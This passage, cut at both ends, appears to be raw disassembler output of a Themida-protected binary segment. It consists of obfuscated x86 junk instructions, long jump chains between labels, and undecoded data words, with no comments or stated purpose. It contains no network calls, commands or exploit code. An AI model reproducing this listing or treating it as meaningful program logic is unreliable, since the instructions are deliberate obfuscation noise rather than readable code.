eax, ecx pop ecx sub eax, esi pop esi jmp loc_5ACA2A ; --------------------------------------------------------------------------- loc_5A2326: ; CODE XREF: Themida_:0059EF0Cj sub eax, esi pop esi sub eax, 5ADF77EBh pop ebp sub eax, 7FDE0B5Fh sub eax, ebx jmp loc_5A8B1A ; --------------------------------------------------------------------------- loc_5A233B: ; CODE XREF: Themida_:005A9AE6j mov ecx, 3A822417h and ebp, ecx pop ecx sub ebp, 212E8089h mov edx, ebp push dword ptr [esp] pop ebp jmp loc_5A82C5 ; --------------------------------------------------------------------------- loc_5A2354: ; CODE XREF: Themida_:005A86B1j add eax, 0DEF4C324h add ecx, eax pop eax jmp loc_5A1356 ; --------------------------------------------------------------------------- db 0C1h, 0EEh, 2 dd 0A432850Fh, 84E9FFFFh, 8F000047h, 0E8E92404h, 810000C3h dd 0AB1463EBh, 0E9CB014Dh, 63C1h ; --------------------------------------------------------------------------- loc_5A2384: ; CODE XREF: Themida_:005A786Bj shl dword ptr [esp], cl pushf jmp loc_59838C ; --------------------------------------------------------------------------- db 0E9h, 0FAh, 5Fh dd 1CF7FFFFh, 0F1E99C24h db 5Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A239B: ; CODE XREF: Themida_:005A4681j push eax jmp loc_59E64C ; --------------------------------------------------------------------------- loc_5A23A1: ; CODE XREF: Themida_:005ACC14j push ebp mov ebp, 4F97294Ch not ebp jmp loc_59BF2B ; --------------------------------------------------------------------------- loc_5A23AE: ; CODE XREF: Themida_:005A9637j mov cl, 0B7h shr cl, 8 push ebx mov bl, 16h inc bl sub bl, 18h jmp loc_59B37F ; --------------------------------------------------------------------------- dd 384868h, 242C8900h, 7CF968h, 0BAE95600h db 70h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A23D3: ; CODE XREF: Themida_:005AF22Bj push edx mov edx, 51D06C70h mov esi, 0B499FCECh add esi, edx pop edx sub ebp, 3982AACh add ebp, esi add ebp, 3982AACh pop esi jmp loc_5ABDB3 ; --------------------------------------------------------------------------- loc_5A23F5: ; CODE XREF: Themida_:0059CAABj mov ebp, edi pop edi sub ebp, ebx xchg ebp, ebx mov ebp, [esp] add esp, 4 sub ebx, 0E1D6A0D9h sub eax, ebx pop ebx jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2410: ; CODE XREF: Themida_:005A5F6Aj pop ebp push esi xchg edi, [esp] jmp loc_5A86C7 ; --------------------------------------------------------------------------- dw 0C189h dd 0E9CE0158h, 8C27h ; --------------------------------------------------------------------------- loc_5A2424: ; CODE XREF: Themida_:005A713Ej or eax, 2D00214Fh jns loc_5A40DD xchg eax, edx not edx xchg eax, edx push ebx jmp loc_5A000A ; --------------------------------------------------------------------------- loc_5A2439: ; CODE XREF: Themida_:005A99B7j xor ebx, edx push dword ptr [esp] pop edx push ecx mov ecx, esp push esi mov esi, 4 add ecx, esi pop esi push edx push ecx push 1F774420h pop ecx sub ecx, 1F77441Ch mov edx, ecx jmp loc_59B546 ; --------------------------------------------------------------------------- loc_5A2460: ; CODE XREF: Themida_:0059F97Aj push dword ptr [esp+4] pop eax pop dword ptr [esp] not eax xchg eax, [esp] pop ecx push edx sub esp, 4 mov [esp], ecx pop edx jmp loc_5A753F ; --------------------------------------------------------------------------- loc_5A247B: ; CODE XREF: Themida_:005A11D1j add esp, 4 inc eax js loc_5AE900 add eax, 4CBE5BD6h jle loc_5A08CD xor eax, 17D19C7h jmp loc_5A18AD ; --------------------------------------------------------------------------- loc_5A249A: ; CODE XREF: Themida_:005A2AE5j not eax jmp loc_5A7496 ; --------------------------------------------------------------------------- db 53h, 83h, 0ECh dd 4D50E904h, 0CCFE0000h, 28CFC480h, 3BCFE9E2h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A24B6: ; CODE XREF: Themida_:005AC75Aj mov [esp], ecx mov ecx, esp push ebx push ecx mov ecx, 6FDD5F1Fh mov ebx, ecx pop ecx shl ebx, 7 sub ebx, 66AF417Eh add ebx, 0FFFFFFFFh push edx mov edx, 265542A9h dec edx jmp loc_59EBA8 ; --------------------------------------------------------------------------- loc_5A24DD: ; CODE XREF: Themida_:0059ADF9j add ebx, 4 push edx push 2 pop edx jmp loc_5AF2E4 ; --------------------------------------------------------------------------- loc_5A24EF: ; CODE XREF: Themida_:0059B842j mov [esp], bp pop cx pop bp xor [esp], cx xor cx, [esp] jmp loc_5AD31A ; --------------------------------------------------------------------------- dd 45029668h, 241C8B6Ch, 8104C483h, 1C0E3BE3h, 0C48A0F33h dd 68FFFFDFh, 4F12h, 0BA241489h, 41787CB0h db 8Ah, 0DCh ; --------------------------------------------------------------------------- loc_5A252A: ; CODE XREF: Themida_:005A5DFDj jmp loc_59BE4F ; --------------------------------------------------------------------------- loc_5A252F: ; CODE XREF: Themida_:0059D22Ej jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2534: ; CODE XREF: Themida_:005A1399j mov ebx, esp jmp loc_5A635F ; --------------------------------------------------------------------------- loc_5A253B: ; CODE XREF: Themida_:005A1052j add ebx, edi pop edi push ebp mov ebp, 103A39B9h sub ebx, ebp pop ebp shl ebx, 1 push edi mov edi, 3E8BFA88h xor ebx, edi pop edi add ebp, ebx jmp loc_59F484 ; --------------------------------------------------------------------------- loc_5A2559: ; CODE XREF: Themida_:005AA8EAj neg ecx jmp loc_59B470 ; --------------------------------------------------------------------------- loc_5A2560: ; CODE XREF: Themida_:005A0065j neg edi add edi, 1FDB4ABAh neg edi shl edi, 6 xor edi, 19BFA9CCh xor edx, edi mov edi, [esp] add esp, 4 jmp loc_5ABD59 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 243C8900h, 0AD92E9h, 5F62BE00h, 0AEE95B5Ch, 89FFFFEBh dd 0EC812404h, 4, 24048F54h, 4BF57h, 7C010000h, 585F0424h dd 283768h, 240C8900h, 4EC81h, 1C890000h, 4BB24h, 9EE90000h db 0ABh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A25CF: ; CODE XREF: Themida_:005A4591j dec eax jmp loc_5A2AE3 ; --------------------------------------------------------------------------- loc_5A25D5: ; CODE XREF: Themida_:0059A83Ej pop edx push edx mov edx, 6CC07BF1h not edx sub edx, 329752A9h xor edx, 11977B3Fh neg edx push edi mov edi, 3C860646h or edx, edi jmp loc_5A7716 ; --------------------------------------------------------------------------- loc_5A25F9: ; CODE XREF: Themida_:005AE694j mov ebp, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] shr dword ptr [esp], cl pushf jmp loc_59896D ; --------------------------------------------------------------------------- dw 0C481h dd 4, 2FB0E281h, 0DAF77240h, 7BDF8D0Fh, 0DAF7FFFFh, 565F8C0Fh dd 0F2810000h, 1DAC4504h, 0C7068C0Fh, 0B951FFFFh, 17345904h dd 1716F181h, 0CA294898h, 0D88BE959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A264A: ; CODE XREF: Themida_:0059998Ej push edx mov edx, 4 jmp loc_5AA14F ; --------------------------------------------------------------------------- loc_5A2655: ; CODE XREF: Themida_:005ADD7Aj shl ecx, 2 or ecx, 385D2157h sub ecx, 31F3255Dh shr ecx, 7 shl ecx, 2 sub esp, 4 mov [esp], esi mov esi, 3B1A1729h jmp loc_5AC125 ; --------------------------------------------------------------------------- dw 0F65Ch dd 0B60F66F9h, 6C6866CCh, 0C896645h, 0D402E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A268E: ; CODE XREF: Themida_:00598B97j xor dh, 97h push eax push ebx mov bl, 2Ah jmp loc_5A457D ; --------------------------------------------------------------------------- loc_5A269A: ; CODE XREF: Themida_:005AC930j pop esi add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp add esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_59A3AF ; --------------------------------------------------------------------------- loc_5A26BC: ; CODE XREF: Themida_:005A100Bj mov ch, al jmp loc_5AED2B ; --------------------------------------------------------------------------- db 0ADh dd 207F83h, 7E4E840Fh, 2568FFFFh, 89000048h, 0E568240Ch dd 89000033h, 0E952241Ch, 8967h ; --------------------------------------------------------------------------- loc_5A26E4: ; CODE XREF: Themida_:005A83FFj sub edi, eax pop eax add eax, 122D24E4h sub esp, 4 jmp loc_59AEAE ; --------------------------------------------------------------------------- db 1 dd 3C875DEFh, 0E955E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2702: ; CODE XREF: Themida_:005A3345j push ebx jmp loc_5ADFDE ; --------------------------------------------------------------------------- loc_5A2708: ; CODE XREF: Themida_:loc_5A1D19j or ebp, 235E75F5h jb loc_5A4EB8 or ebp, 568A3A16h jmp loc_598926 ; --------------------------------------------------------------------------- loc_5A271F: ; CODE XREF: Themida_:005AD3A2j mov ecx, ebx pop ebx jmp loc_5AB275 ; --------------------------------------------------------------------------- db 89h dd 0E389241Ch, 89E95156h db 0B7h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2733: ; CODE XREF: Themida_:0059CBCDj mov ebx, 6C6B78BBh push ecx push esi mov esi, 6C685978h mov ecx, 1C624119h xor ecx, esi pop esi or ebx, ecx mov ecx, [esp] add esp, 4 xor ebx, 2B42075Ch push ecx mov ecx, 1D8E7F65h sub ebx, ecx jmp loc_5A63E9 ; --------------------------------------------------------------------------- loc_5A2765: ; CODE XREF: Themida_:005A3874j add eax, edx pop edx push edx mov edx, 2 sub eax, 24216405h add eax, edx add eax, 24216405h pop edx push esi sub esp, 4 mov [esp], esp push edi mov edi, 4 add [esp+4], edi jmp loc_5AA2E6 ; --------------------------------------------------------------------------- dd 0B4E9DEF7h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A279B: ; CODE XREF: Themida_:0059C69Dj mov [esp], eax push small 333Eh jmp loc_5ADA93 ; --------------------------------------------------------------------------- loc_5A27A7: ; CODE XREF: Themida_:0059B81Fj xchg edi, [esp] pop esp sub esp, 4 mov [esp], eax push ecx mov ecx, 7E26D15h mov eax, 33A7232Ah xor eax, ecx pop ecx push ecx jmp loc_5ADDF3 ; --------------------------------------------------------------------------- loc_5A27C8: ; CODE XREF: Themida_:005AC2ECj popf retn ; --------------------------------------------------------------------------- dw 0BDE9h db 5Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A27CF: ; CODE XREF: Themida_:00599D36j push esi jmp loc_59AA1F ; --------------------------------------------------------------------------- loc_5A27D5: ; CODE XREF: Themida_:005A0D3Bj add ebx, 241709ACh add ebx, eax push eax mov eax, 7500022Eh or eax, 4FF00E88h add eax, 0A3411CAh or eax, 5D693DF2h sub eax, 297819C7h neg eax add eax, 0DA0C2DDFh sub ebx, eax pop eax mov eax, [esp] push ebx mov ebx, esp jmp loc_59B95D ; --------------------------------------------------------------------------- dd 0F92ED81h, 860F1566h, 0FFFF842Eh, 3CD3E9h db 0 ; --------------------------------------------------------------------------- loc_5A281D: ; CODE XREF: Themida_:0059C758j push ecx mov ecx, 4 jmp loc_59A7BF ; --------------------------------------------------------------------------- loc_5A2828: ; CODE XREF: Themida_:loc_5AB91Fj push ecx mov ecx, 54AD5F2Fh inc ecx jmp loc_5A061F ; --------------------------------------------------------------------------- loc_5A2834: ; CODE XREF: Themida_:005AD57Dj add esp, 4 add esi, 44583827h push 7BB5h mov [esp], eax mov eax, 13F173C8h or esi, eax mov eax, [esp] add esp, 4 jmp loc_59B2E0 ; --------------------------------------------------------------------------- loc_5A2857: ; CODE XREF: Themida_:005A5B20j shl eax, 4 inc eax add eax, 1415B350h sub edi, 1E29162Bh add edi, eax add edi, 1E29162Bh pop eax add edi, esi sub edi, 17187561h push dword ptr [esp] pop esi add esp, 4 push esi mov esi, 400E7AE1h xor esi, 59FB0757h jmp loc_5A7D73 ; --------------------------------------------------------------------------- dw 0E8C1h dd 4EC8107h, 89000000h, 37BF243Ch, 5B837B9h, 463D2D78h dd 782DF829h, 0FF463D2Dh, 525F2434h, 5350E289h, 4BBh, 0E9D88900h dd 703Ch ; --------------------------------------------------------------------------- loc_5A28C4: ; CODE XREF: Themida_:005ACF67j xchg eax, esi jmp loc_59883D ; --------------------------------------------------------------------------- loc_5A28CA: ; CODE XREF: Themida_:005A9298j mov [esp], edx push ebx push ecx mov cl, 6Bh push eax mov al, 5Bh and cl, al pop eax not cl jmp loc_5A4F90 ; --------------------------------------------------------------------------- loc_5A28DE: ; CODE XREF: Themida_:0059DC56j mov eax, 220E185Bh push edx mov edx, 518657Dh jmp loc_5AEAD0 ; --------------------------------------------------------------------------- loc_5A28EE: ; CODE XREF: Themida_:00599B29j mov ebp, 26A92879h shr ebp, 1 push ecx mov ecx, 59FF36BFh jmp loc_599F7A ; --------------------------------------------------------------------------- loc_5A2900: ; CODE XREF: Themida_:005A929Ej mov ebx, 3B5365A7h xor ebx, 6DD916C5h and ebx, 174E76F0h xor ebx, 7B0C074Fh jmp loc_5AB44F ; --------------------------------------------------------------------------- loc_5A291C: ; CODE XREF: Themida_:0059AC11j pop eax add ebx, eax mov eax, [esp] add esp, 4 pop edx xor ebx, [esp] jmp loc_5A44D3 ; --------------------------------------------------------------------------- loc_5A2931: ; CODE XREF: Themida_:0059BE74j pop ecx mov ecx, 0A84998ABh add ecx, eax jmp loc_5A2AEA ; --------------------------------------------------------------------------- dw 431h dd 24043324h, 6624248Bh, 0E9240C8Bh, 0FFFFA57Ch ; --------------------------------------------------------------------------- loc_5A2950: ; CODE XREF: Themida_:005A988Fj add edx, 4 jmp loc_5AB812 ; --------------------------------------------------------------------------- loc_5A295B: ; CODE XREF: Themida_:005A425Bj add ecx, edi pop edi add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] pop edi or ecx, 5F34051Dh jmp loc_5AD7E7 ; --------------------------------------------------------------------------- dd 5A0AE958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2982: ; CODE XREF: Themida_:0059DB97j push dword ptr [esp] pop ecx push esi push esp pop esi add esi, 4 push ebx mov ebx, 35D85D67h dec ebx and ebx, 72984BB5h sub ebx, 7CD140C3h sub ebx, 0B3C7085Dh add esi, ebx pop ebx xchg esi, [esp] pop esp push edi mov edi, 1E9723F2h not edi neg edi sub edi, 6D217378h dec edi shr edi, 2 add edi, 2BDC0B9Ah sub ecx, edi jmp loc_5A1F71 ; --------------------------------------------------------------------------- dd 8B2434FFh, 0B6E9240Ch db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A29DB: ; CODE XREF: Themida_:005A8F55j push esp pop ecx add ecx, 4 sub esp, 4 mov [esp], ebp mov ebp, 4 sub ecx, ebp mov ebp, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ebx push ebp jmp loc_59C3DF ; --------------------------------------------------------------------------- loc_5A2A08: ; CODE XREF: Themida_:0059F385j mov ecx, esp add ecx, 4 add ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_5AAB38 ; --------------------------------------------------------------------------- loc_5A2A21: ; CODE XREF: Themida_:0059893Bj mov ebp, [esp] add esp, 4 pop esi push 7890h jmp loc_5A652D ; --------------------------------------------------------------------------- loc_5A2A32: ; CODE XREF: Themida_:005A8200j sub ebp, ecx push dword ptr [esp] pop ecx add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], esi push 421Bh mov [esp], edi jmp loc_5AE721 ; --------------------------------------------------------------------------- loc_5A2A57: ; CODE XREF: Themida_:005A3C6Bj pop edi mov esi, 6C7854ADh xor esi, edi pop edi jmp loc_5A21CF ; --------------------------------------------------------------------------- db 1, 0E9h, 5Dh dd 8B240C87h, 6F042424h, 6F2CF800h, 4EC81h, 0C890000h dd 0FE65B524h, 0CAC580C5h, 804FE580h, 0F580DAC5h, 59E828A8h dd 0C4E95B66h db 0A1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2A97: ; CODE XREF: Themida_:0059DCBBj ; Themida_:0059F883j push edx mov edx, 6D6E220Bh shl edx, 7 jmp loc_5A1B61 ; --------------------------------------------------------------------------- loc_5A2AA5: ; CODE XREF: Themida_:005A439Fj sub eax, ebx pop ebx push esi jmp loc_5ABBFD ; --------------------------------------------------------------------------- loc_5A2AAE: ; CODE XREF: Themida_:005A3830j mov ebx, ecx push dword ptr [esp] pop ecx add esp, 4 push edx mov edx, 738C277Dh shl edx, 3 push edx not dword ptr [esp] pop edx neg edx dec edx not edx add edx, 0CBE9960Eh xor ebx, edx pop edx jmp loc_5A5EFF ; --------------------------------------------------------------------------- dd 8B240C87h, 9FE92424h db 45h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2AE3: ; CODE XREF: Themida_:005A25D0j neg eax jmp loc_5A249A ; --------------------------------------------------------------------------- loc_5A2AEA: ; CODE XREF: Themida_:0059F195j ; Themida_:005A2939j pop eax jmp loc_5AADBB ; --------------------------------------------------------------------------- aVsJ db 'Vι΅J',0 align 2 dw 91E9h db 58h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2AFB: ; CODE XREF: Themida_:005AF3A3j add ecx, 1CE1ED44h mov edi, ecx mov ecx, [esp] add esp, 4 jmp loc_5AA478 ; --------------------------------------------------------------------------- db 50h, 0E9h, 4 dd 0FF00005Eh, 589D1C77h, 9C240411h, 0FF5867E9h, 28F66FFh dd 0FF585FE9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2B2D: ; CODE XREF: Themida_:005A967Dj mov eax, esp add eax, 4 jmp loc_5A144A ; --------------------------------------------------------------------------- loc_5A2B39: ; CODE XREF: Themida_:0059E6EEj mov ebx, esp add ebx, 4 jmp loc_5ACE87 ; --------------------------------------------------------------------------- dw 0EF81h dd 13CDFDA0h, 815FFE89h, 4ECh, 68F9E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2B5A: ; CODE XREF: Themida_:0059BC56j xor al, bl jmp loc_5AA49F ; --------------------------------------------------------------------------- loc_5A2B61: ; CODE XREF: Themida_:005AF1F8j sub ebx, 27954C3Eh pop edi sub esp, 4 jmp loc_5ABDEB ; --------------------------------------------------------------------------- loc_5A2B70: ; CODE XREF: Themida_:005A2FDBj pop ebp sub edx, 0FDA72E1h push edx xchg edx, [esp] not edx xchg edx, [esp] pop edx jmp loc_59EB95 ; --------------------------------------------------------------------------- loc_5A2B86: ; CODE XREF: Themida_:0059D2C3j xchg ecx, [esp] pop esp jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A2B8F: ; CODE XREF: Themida_:loc_59DFBBj sub ebp, 5B4D5506h jmp loc_5A1F8D ; --------------------------------------------------------------------------- dw 15Fh dd 18E957C5h db 0D4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2BA3: ; CODE XREF: Themida_:005A3905j mov dl, 0A2h sub bl, 41h jmp loc_5ACFFD ; --------------------------------------------------------------------------- db 1, 0DFh, 81h dd 0FE511EEFh, 0C8B5B1Fh, 2FE4E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2BBE: ; CODE XREF: Themida_:0059DFE6j push edx mov edx, 4FB0602Ah sub [esp+8], edx pop edx add [esp+4], ebx add dword ptr [esp+4], 4FB0602Ah add dword ptr [esp+4], 1AF52AF8h push dword ptr [esp] mov ebx, [esp] jmp loc_5A856F ; --------------------------------------------------------------------------- dd 0E92434FFh, 0FFFFA1AAh ; --------------------------------------------------------------------------- loc_5A2BF0: ; CODE XREF: Themida_:005AD573j add edi, 4 add edi, 4 xchg edi, [esp] mov esp, [esp] sub ebx, 0EE510F5Ch jmp loc_59B85E ; --------------------------------------------------------------------------- loc_5A2C0A: ; CODE XREF: Themida_:005AB8CDj mov edx, 4 mov esi, edx mov edx, [esp] jmp loc_5ACF18 ; --------------------------------------------------------------------------- loc_5A2C19: ; CODE XREF: Themida_:0059EC00j push dword ptr [esp+4] mov esi, [esp] add esp, 4 jmp loc_59C944 ; --------------------------------------------------------------------------- loc_5A2C28: ; CODE XREF: Themida_:005A8CA4j ; Themida_:005AA048j mov edi, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] pop esp jmp loc_5A5BEB ; --------------------------------------------------------------------------- loc_5A2C40: ; CODE XREF: Themida_:0059D7AAj neg dl jmp loc_5A8CB8 ; --------------------------------------------------------------------------- loc_5A2C47: ; CODE XREF: Themida_:005A8F71j mov cl, 5Ch xor dh, cl pop ecx jmp loc_59932D ; --------------------------------------------------------------------------- loc_5A2C51: ; CODE XREF: Themida_:005995B9j sub [esp+4], eax push ebx mov ebx, 1AE846F8h sub [esp+8], ebx pop ebx push ebp jmp loc_5A65EB ; --------------------------------------------------------------------------- loc_5A2C66: ; CODE XREF: Themida_:005A3BA8j shr esi, 2 xor esi, 24BF390Bh sub esi, 7E1327D7h xor esi, 829B2A2Ah sub ebp, esi pop esi jmp loc_5AD800 ; --------------------------------------------------------------------------- db 4Eh dd 3251890Fh, 0EEC10000h, 0F6850F05h, 8A000081h, 0D830ACC3h dd 8904EC83h, 0E6892434h, 674968h, 5C96E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2CAA: ; CODE XREF: Themida_:005A7A92j push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] mov ax, [esp] push 62DCh mov [esp], ebp sub esp, 4 mov [esp], esp jmp loc_5AA721 ; --------------------------------------------------------------------------- loc_5A2CCC: ; CODE XREF: Themida_:005A6CC1j inc ecx not ecx jmp loc_5A035F ; --------------------------------------------------------------------------- loc_5A2CD4: ; CODE XREF: Themida_:005A54CFj pop ecx add edi, esi mov esi, [esp] add esp, 4 push ebx jmp loc_5A99EF ; --------------------------------------------------------------------------- loc_5A2CE3: ; CODE XREF: Themida_:00599FEEj push ebx pop esi pop ebx shr esi, 6 sub esi, 0DF3C88BDh push edi mov edi, 46E03866h sub ebx, edi jmp loc_5ABF22 ; --------------------------------------------------------------------------- dd 91E95153h, 0FFFFFF7Eh, 34FF3877h, 240C8B24h, 0FFBA57E9h db 0FFh ; --------------------------------------------------------------------------- loc_5A2D11: ; CODE XREF: Themida_:005A225Dj ; Themida_:005A5313j shr edx, 5 jmp loc_5996B1 ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4C6h, 0B846E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2D2A: ; CODE XREF: Themida_:005A4C45j mov al, cl push ecx jmp loc_5A834E ; --------------------------------------------------------------------------- loc_5A2D32: ; CODE XREF: Themida_:0059ED89j and ebp, 7B83552Bh xor ebp, 38F3294Eh not ebp dec ebp inc ebp add ebp, 0B4DCEEA4h jmp loc_5A89F4 ; --------------------------------------------------------------------------- loc_5A2D4D: ; CODE XREF: Themida_:0059B518j pop ebx jmp loc_59ADB4 ; --------------------------------------------------------------------------- aZsG db 'Zι',0Ah db '',0 db 0 ; --------------------------------------------------------------------------- loc_5A2D59: ; CODE XREF: Themida_:005A72ABj shr edi, 5 push ecx mov ecx, 26762BC9h add ecx, 13296855h xchg edx, ecx not edx xchg edx, ecx add ecx, 0FFFFFFFFh shl ecx, 2 push ebx push ecx jmp loc_5A7A97 ; --------------------------------------------------------------------------- loc_5A2D7B: ; CODE XREF: Themida_:005AD330j mov ebx, [esp] add esp, 4 push dx mov dh, 86h jmp loc_5A6B58 ; --------------------------------------------------------------------------- db 89h, 0F2h, 5Eh dd offset dword_4405D8+11h db 0 ; --------------------------------------------------------------------------- loc_5A2D95: ; CODE XREF: Themida_:005ABAC0j add edx, 6D2C1835h sub eax, edx pop edx add eax, 365F125Dh jmp loc_59BDB7 ; --------------------------------------------------------------------------- loc_5A2DA8: ; CODE XREF: Themida_:005A9F30j inc ebp inc ebp shl ebp, 7 shl ebp, 2 add ebp, 0F86B2C4Ch add edx, ebp pop ebp sub edx, 320B1570h push esi jmp loc_5AE2D7 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd offset dword_5103D8+11h dd 53515E00h, 4D2D27BBh, 52E9500Bh, 89FFFFFDh, 2F68240Ch dd 0E9000051h, 1C0Dh, 4EC81h, 2C890000h, 2474FF24h, 10E4E904h dd 0E9580000h, 0FFFF588Fh ; --------------------------------------------------------------------------- loc_5A2E00: ; CODE XREF: Themida_:005A188Aj pop esi jmp loc_59D947 ; --------------------------------------------------------------------------- loc_5A2E06: ; CODE XREF: Themida_:00599AB0j ; Themida_:005AC333j mov ebp, [esp] add esp, 4 jmp loc_5A3DAE ; --------------------------------------------------------------------------- loc_5A2E14: ; CODE XREF: Themida_:0059E822j push dword ptr [esp] pop ebp add esp, 4 pop dword ptr [esp] mov esp, [esp] mul cl movzx cx, ah jmp loc_5A8F3E ; --------------------------------------------------------------------------- dd 0FEC68146h, 4E612777h, 0A42C681h, 0C4E945C2h, 1000020h dd 52595AD6h, 4EC81h, 34890000h, 5676BE24h, 0DEF7116Ch dd 4855BF57h, 0EFC14970h, 25B95107h, 21326A4Fh, 0F78159CFh dd 50E63348h, 28B0E781h, 6E9736Fh db 2, 2 dup(0) ; --------------------------------------------------------------------------- loc_5A2E77: ; CODE XREF: Themida_:005A7ACFj mov ecx, 0EA50ADEh push edi mov edi, 0 sub edi, ecx jmp loc_59B059 ; --------------------------------------------------------------------------- loc_5A2E89: ; CODE XREF: Themida_:005A9DA0j mov ebp, 2 jmp loc_59CA7D ; --------------------------------------------------------------------------- loc_5A2E93: ; CODE XREF: Themida_:005A64ABj xchg edi, [esp] pop esp xchg ebx, [esp] jmp loc_5A7ABC ; --------------------------------------------------------------------------- loc_5A2E9F: ; CODE XREF: Themida_:0059E2C1j ; Themida_:loc_5A8472j xchg edi, [esp] pop esp mov [esp], edi mov di, 3202h add di, 1 push ecx mov cx, 27B4h shr cx, 5 jmp loc_5AD692 ; --------------------------------------------------------------------------- dd 4BDh, 86E2E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A2EC6: ; CODE XREF: Themida_:005A067Aj mov [esp], edi mov edi, 1EED507Ah jmp loc_5AEDFC ; --------------------------------------------------------------------------- loc_5A2ED3: ; CODE XREF: Themida_:005A3991j xchg ecx, [esp] jmp loc_5A08CD ; --------------------------------------------------------------------------- loc_5A2EDB: ; CODE XREF: Themida_:005A8CDAj add esp, 4 push dx mov dh, 5Eh sub bl, 7Bh sub bl, dh add bl, 7Bh pop dx movzx eax, al mov dx, [esp] push ebp jmp loc_5AA429 ; --------------------------------------------------------------------------- dd 1869BD55h, 564548F9h, 0F9186EBEh, 5EF53148h, 2C8BE801h dd 4C48124h, 83000000h, 48704E8h, 2C895C24h, 50E1BD24h dd 0F4559FFh, 12378Dh, 6EDC100h, 0B05CD81h, 8B0F46FFh dd 0FFFFE6B7h ; --------------------------------------------------------------------------- loc_5A2F3C: ; CODE XREF: Themida_:005A4CA5j push dword ptr [esp] mov ebp, [esp] add esp, 4 jmp loc_59B4A5 ; --------------------------------------------------------------------------- loc_5A2F4A: ; CODE XREF: Themida_:loc_5A7185j or ebx, 0EE9230Ch jnp loc_5A7374 add ebx, 0C102D885h jmp loc_5A7D6B ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 4 ; --------------------------------------------------------------------------- loc_5A2F64: ; CODE XREF: Themida_:005A8E62j push eax add dword ptr [esp], 8AC761Eh jmp loc_5A606B ; --------------------------------------------------------------------------- loc_5A2F71: ; CODE XREF: Themida_:loc_59A420j xor dl, 0EFh jo loc_5AAE4A not dl jmp loc_5A7661 ; --------------------------------------------------------------------------- loc_5A2F81: ; CODE XREF: Themida_:005AE702j add ebx, 0FFFFFFFFh not ebx sub ebx, 1334731Fh add ebx, 43298322h add ecx, 3D244A92h sub ecx, ebx jmp loc_5A8F01 ; --------------------------------------------------------------------------- loc_5A2FA2: ; CODE XREF: Themida_:0059A5A7j add eax, edx add eax, 39394CD4h mov edx, [esp] add esp, 4 jmp loc_59F77C ; --------------------------------------------------------------------------- loc_5A2FB7: ; CODE XREF: Themida_:005A327Cj not esi not esi shl esi, 7 jnp loc_59B054 jmp loc_5A5C8D ; --------------------------------------------------------------------------- db 89h, 0F9h, 5Fh dd 821AF181h db 0D2h, 83h ; --------------------------------------------------------------------------- loc_5A2FD2: ; CODE XREF: Themida_:0059A427j sub ebp, 7F920035h pop edi or edx, ebp jmp loc_5A2B70 ; --------------------------------------------------------------------------- loc_5A2FE0: ; CODE XREF: Themida_:005A60C1j pop esp jmp loc_59AE26 ; --------------------------------------------------------------------------- aUh db 'UhΟ&',0 align 4 dd 0B9240C89h, 73DC24BDh, 0E5B85049h, 0E95C0356h, 0FFFF5E47h ; --------------------------------------------------------------------------- loc_5A3000: ; CODE XREF: Themida_:005A5AA7j mov edx, eax pop eax push ebp mov ebp, 49C471DBh jmp loc_59CE61 ; --------------------------------------------------------------------------- loc_5A300E: ; CODE XREF: Themida_:0059F917j mov ebp, 21BC2584h mov edx, 21BC2585h sub edx, ebp pop ebp or [edi+1Ch], edx mov edx, [esp] add esp, 4 jmp loc_59838C ; --------------------------------------------------------------------------- loc_5A302C: ; CODE XREF: Themida_:00598E2Aj add eax, ebp add eax, 7CD7376Eh mov ebp, [esp] add esp, 4 sub eax, 4 xchg eax, [esp] pop esp jmp loc_5A05DE ; --------------------------------------------------------------------------- dw 2489h dd 9CDFE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5A3052: ; CODE XREF: Themida_:005A605Bj mov edi, 27F96FDEh sub edi, 121F3A0Ch add edx, edi pop edi push ecx mov ecx, 383039CFh jmp loc_5AC00B ; --------------------------------------------------------------------------- db 68h dd 79D3h, 0BF243C89h, 4FEA3936h, 8AA0E9h, 8E7C100h, 0C633EF81h dd 0FE296210h, 34D4E9h db 0 ; --------------------------------------------------------------------------- loc_5A308D: ; CODE XREF: Themida_:005A7F7Cj mov [esp], ecx mov cl, 0DCh jmp loc_59F37A ; 